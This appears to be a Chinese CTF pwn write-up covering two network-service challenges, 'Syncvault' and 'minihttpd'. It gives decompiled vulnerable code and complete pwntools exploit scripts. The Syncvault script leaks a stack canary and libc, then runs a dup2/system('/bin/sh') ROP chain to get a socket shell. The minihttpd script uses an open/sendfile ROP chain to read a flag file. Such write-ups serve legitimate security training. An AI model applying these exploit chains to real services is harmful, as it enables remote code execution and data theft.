普遍逻辑

  • 创建一个 socket 绑定端口,用于监听。

  • 使用 fd = accept(socket_fd, &addr, &addr_len);
    一旦有握手的tcp连接,就建立一个新的socket,并且开新的线程。

  • 线程中会利用这个 socket的fd 进行交互。对于各种请求进行处理。

调试\交互方式

个人用的方法:

server = process(filename)
p = remote(ip,port)
# gdb.attach(server)
# server.kill()

可能每次请求都要建立一个新的remote
因此建议每次都p.close()

关键部分

通常需要重点关注处理请求部分,也就是handler。

有可能是溢出 ,还有可能是竞争。

利用手法

在/bin/sh基础上 可能还需要 dup2 定向stdout stdin stderr 到本socket

有些程序要打orw 可以用sendfile 的方式来做。

Syncvault

程序逆向

程序主要功能是维护任务队列,worker模拟任务运行,并且实现多种查询功能。并且加了一个和主要逻辑关系不大的功能 SYNC

main

main中,两个start_routine 开worker线程,worker线程会等 task排入queue,然后给出对应输出。

然后就是开 socket ,对输入进行对应处理 ,然后输出。

SET_

设置 echo 的size,最大只能到0x400

SETHEAD_

设置 head 的 size , 最大只能到0x400

SETBODY_

SETSYNC_

ECHO

输出 echo size 大小的输入内容。

SNAPSHOT

按照HHH…..PPPPP…这种形式 输出HEADBODY的内容。

GAID

输出一些线程有关内容。

QUEUE ???

在队列中增加任务。

SHOW TASKS

输出任务

SHOW LOGS

输出日志

TICK

输出统计内容

QUIT

退出

SYNC

奇怪的函数 但是可以发现有明显的溢出

if ( (unsigned __int64)syncnum > 0x38 )
syncsize = 0x38LL;
if ( !(unsigned int)readnbytes(fd, (__int64)s, syncsize) )// 溢出?

而s根本就没有0x38

 v38 = 0;
do
{
v39 = (unsigned int)v38; // 8字节复制
//
*(_QWORD *)&v38 = (unsigned int)(v38 + 8);
*(_QWORD *)&v60[v39] = *(_QWORD *)&s[v39];
}
while ( v38 < (syncsize & 0xFFFFFFF8) );
v31 = &v60[*(_QWORD *)&v38];
v30 = &s[*(_QWORD *)&v38];
}
v32 = 0LL;
if ( (syncsize & 4) != 0 )
{
*(_DWORD *)v31 = *(_DWORD *)v30;
v32 = 4LL;
}
if ( (syncsize & 2) != 0 )
{
*(_WORD *)&v31[v32] = *(_WORD *)&v30[v32];
v32 += 2LL;
}
if ( (syncsize & 1) != 0 )
v31[v32] = v30[v32];
v33 = 0LL;
list_head.futex_offset = v61;
syscall(273LL, &list_head, 24LL, v31);// set_robust_list
//

后面的复制部分明显可以覆盖到v61

利用

通过搜寻set_robust_list相关功能。

可以发现,线程退出时,会把robust_list每个节点对应的mutex(用mutex offset) 用 OWNER_DIED 进行标记,这个标记可以修改mutex为一个很大的值。前提是修改时能通过检查(mutex正好是tid)

而SNAPSHOT和ECHO功能都和size有关,并且都莫名奇妙的给出>0x1000时的处理方式,而正常根本不会>0x1000。并且0x1000是很大的溢出。那么目的应该就是通过上述的漏洞,先伪造成tid,然后覆盖成一个很大的值,实现溢出读取和溢出写入。

这题本地调的时候有个困难 就是pid太大 就打不了了 。

询问ai后了解到,可以用 unshare用新的pid ns开进程

server = process(
[
"unshare",
"--kill-child",
"-Urpf", # 新 user+pid namespace;-f 必须有(PID ns 生效需要 fork)
"--mount-proc",
"--",
"./pwn",
"1234",
]
)
def listen_pid(port: int):
cmd = f"ss -ltnpH 'sport = :{port}' 2>/dev/null || true"
out = subprocess.run(["bash", "-lc", cmd], stdout=subprocess.PIPE, text=True).stdout
m = re.search(r"pid=(\d+)", out)
return int(m.group(1)) if m else None

这个函数可以找进程pid 便于调试

from elftools.construct.lib.container import recursion_lock
from pwn import *
import time, subprocess

ip = "127.0.0.1"
port = 1234
filename = "./pwn"
elf = ELF(filename)
libc = ELF("./libc.so")
context.binary = elf

ru = lambda a: p.recvuntil(a)
r = lambda: p.recv()
sla = lambda a, b: p.sendlineafter(a, b)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode("l1")


def listen_pid(port: int):
cmd = f"ss -ltnpH 'sport = :{port}' 2>/dev/null || true"
out = subprocess.run(["bash", "-lc", cmd], stdout=subprocess.PIPE, text=True).stdout
m = re.search(r"pid=(\d+)", out)
return int(m.group(1)) if m else None


def set(n):
global p
p = remote(ip, port)
sl(b"SET " + itob(n))
content = p.recvline()
sl(b"QUIT")
p.close()
return content


def sethead(n):
global p
p = remote(ip, port)
sl(b"SETHEAD " + itob(n))
content = p.recvline()
sl(b"QUIT")
p.close()
return content


def setbody(n):
global p
p = remote(ip, port)
sl(b"SETBODY " + itob(n))
content = p.recvline()
sl(b"QUIT")
p.close()
return content


def setsync(n):
global p
p = remote(ip, port)
sl(b"SETSYNC " + itob(n))
content = p.recvline()
sl(b"QUIT")
p.close()
return content


def sync(message):
global p
p = remote(ip, port)
sl(b"SYNC")
s(message)
content = p.recvline()
sl(b"QUIT")
p.close()
return content


def snapshot():
global p
p = remote(ip, port)
sl(b"SNAPSHOT")
content = p.recv(0x1000)
return content


def pwn(server):
sleep(0.2)
setsync(0x20)
tid_base = int(sync(b"a" * 0x20)[4:], 10)
pid = listen_pid(1234)
print(tid_base)
sethead(tid_base + 5)
set(tid_base + 7)
setbody(tid_base + 9)
setsync(0x38)
print(sync(b"a" * 48 + p64(0x18)))
setsync(0x38)
print(sync(b"a" * 48 + p64(0x20)))
setsync(0x38)
print(sync(b"a" * 48 + p64(0x10)))
# gdb.attach(pid, "break *$rebase(0x30b0)")
# gdb.attach(pid, "break *$rebase(0x31b0) \n c")
snapreturn = snapshot()
canary = u64(snapreturn[0x408:0x410])
libc_leak = snapreturn[0xEB8:0xEC0]
libc_base = u64(libc_leak) - (0x7E3294660D88 - 0x7E3294600000)
print(f"canary: {hex(canary)}")
print(f"libc_base: {hex(libc_base)}")
libc.address = libc_base
rop = ROP(libc)
binsh = next(libc.search(b"/bin/sh\x00"))
pop_rdi = rop.rdi.address
pop_rsi = rop.rsi.address
system = libc.symbols["system"]
dup2 = libc.symbols["dup2"]

ropchain = p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(0) + p64(dup2)
ropchain += p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(1) + p64(dup2)
ropchain += p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(2) + p64(dup2)
ropchain += p64(pop_rdi) + p64(binsh) + p64(system)
payload = b"a" * 0x400 + p64(0) + p64(canary) + p64(0) * 5 + ropchain
payload = payload.ljust(0x1000, b"\x00")
print("======ECHO====")

p = remote(ip, port)
p.sendline(b"ECHO")
p.send(payload)
p.interactive()


if __name__ == "__main__":
server = process(
[
"unshare",
"--kill-child",
"-Urpf", # 新 user+pid namespace;-f 必须有(PID ns 生效需要 fork)
"--mount-proc",
"--",
"./pwn",
"1234",
]
)
pwn(server)
server.kill()

minihttpd

较为正常的 get 和 post 处理

对post的处理方式比较用意思,用了driver的方式

void __fastcall bindrequest()
{
writerequest("/hello", "POST", hello);
writerequest("/echo", "POST", echo);
writerequest("/setmode", "POST", setmode);
writerequest("/getmode", "POST", getmode);
}
void __fastcall writerequest(char *a1, char *a2, void *a3)
{
if ( requestidx <= 31 )
{
requests[requestidx].path = a1;
requests[requestidx].method = a2;
requests[requestidx++].func = a3;
}
}
handle = finddriver(path, method_buffer);
if ( handle )
{
((void (__fastcall *)(_QWORD, char *, _QWORD))handle)((unsigned int)fd, content, (unsigned int)currentlen);
shutdown(fd, 1);
close(fd);
}

漏洞在setmode部分的溢出

int __fastcall setmode(int a1, const char *a2, int a3)
{
char value[22]; // [rsp+10h] [rbp-440h] BYREF
char key[10]; // [rsp+26h] [rbp-42Ah] BYREF
char s[1028]; // [rsp+30h] [rbp-420h] BYREF
int v8; // [rsp+434h] [rbp-1Ch]
FILE *stream; // [rsp+438h] [rbp-18h]
int valuelen; // [rsp+440h] [rbp-10h]
int keylen; // [rsp+444h] [rbp-Ch]
char *v12; // [rsp+448h] [rbp-8h]

memset(s, 0, 0x400uLL);
printf("[handle_set_mode]\n");
v12 = strchr(a2, '=');
if ( v12 )
{
keylen = (_DWORD)v12 - (_DWORD)a2;
valuelen = a3 - ((_DWORD)v12 - (_DWORD)a2) - 1;
memset(key, 0, sizeof(key));
memset(value, 0, 0x10uLL);
memcpy(key, a2, keylen);
key[9] = 0;
memcpy(value, v12 + 1, valuelen); //溢出
value[15] = 0;
if ( !strcmp(key, "setmode") )
{
stream = fopen("mode.txt", "w");
if ( stream )
{
fwrite(value, 1uLL, valuelen, stream); // 溢出
fclose(stream);
}
}
v8 = snprintf(s, 0x400uLL, "HTTP/1.0 200 OK\r\n%sContent-Type: application/json\r\n\r\n", dest);
return send(a1, s, v8, 0);
}
else
{
printf("No delimiter found\n");
return badrequesterr(a1);
}
}
from pwn import *

ip = "127.0.0.1"
port = 9999
filename = "./main"
elf = ELF(filename)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.binary = elf


ru = lambda a: p.recvuntil(a)
r = lambda a: p.recv(a)
sla = lambda a, b: p.sendlineafter(a, b)
sa = lambda a, b: p.sendafter(a, b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode("l1")


def get(path):
global p
p = remote(ip, port)
payload = b"GET " + path + b"\n"
s(payload)
content = p.recvuntil(b"/HTML", True)
p.close()
return content


def post(path, data):
global p
p = remote(ip, port)
payload = (
b"POST "
+ path
+ b"\n"
+ b"Content-Length: "
+ itob(len(data))
+ b"\r\n\n"
+ data
)
s(payload)
content = p.recvall()
p.close()
return content


def hello():
content = post(b"/hello", b"jimi")
return content


def echo(message):
content = post(b"/echo", message)
return content


def setmode(message):
content = post(b"/setmode", message)
return content


def getmode():
content = post(b"/getmode", b"getmode")
return content.split(b"text/html\r\n\r\n")[1]


def pwn():
sleep(0.3)
payload = (
b"setmode=" + b"a" * 22 + b"setmode\0\0\0" + b"a" * (0x420 - 0x10) + p32(0x2000)
)
setmode(payload)
with open("mode.txt", "rb") as f:
text = f.read()
rbp = text[0x440:0x448]
for i in range(0x138, 0x139):
libc_base = u64(text[0x448 + 8 * i : 0x450 + 8 * i]) - (
0x78FD73DF0112 - 0x78FD73D5E000
)
print("libc_base: " + hex(libc_base))
libc.address = libc_base
saved_rbp = u64(rbp)


mode_txt_addr = 0x40430F
ret = ROP(libc).find_gadget(["ret"]).address

rop = ROP(libc)
rop.raw(p64(ret))
rop.call(libc.symbols["open"], [0x0, 0x0])
rop.call(libc.symbols["open"], [mode_txt_addr, 0x2])
rop.call(libc.symbols["sendfile"], [6, 7, 0, 0x100])
rop.call(libc.symbols["exit"], [0])
chain_len = len(rop.chain())
flag_addr = saved_rbp - 0x9B8 + chain_len

rop = ROP(libc)
rop.raw(p64(ret))
rop.call(libc.symbols["open"], [flag_addr, 0x0])
rop.call(libc.symbols["open"], [mode_txt_addr, 0x2])
rop.call(libc.symbols["sendfile"], [7, 6, 0, 0x100])
rop.call(libc.symbols["exit"], [0])

payload = b"jimi=" + b"a" * 0x440 + p64(saved_rbp) + rop.chain() + b"flag\x00"
gdb.attach(server, "break sendfile \n c")
resp = setmode(payload)
print(resp)


if __name__ == "__main__":
# p = remote(ip, port)
server = process(filename, stdin=PIPE, stdout=PIPE, stderr=PIPE)
pwn()
server.kill()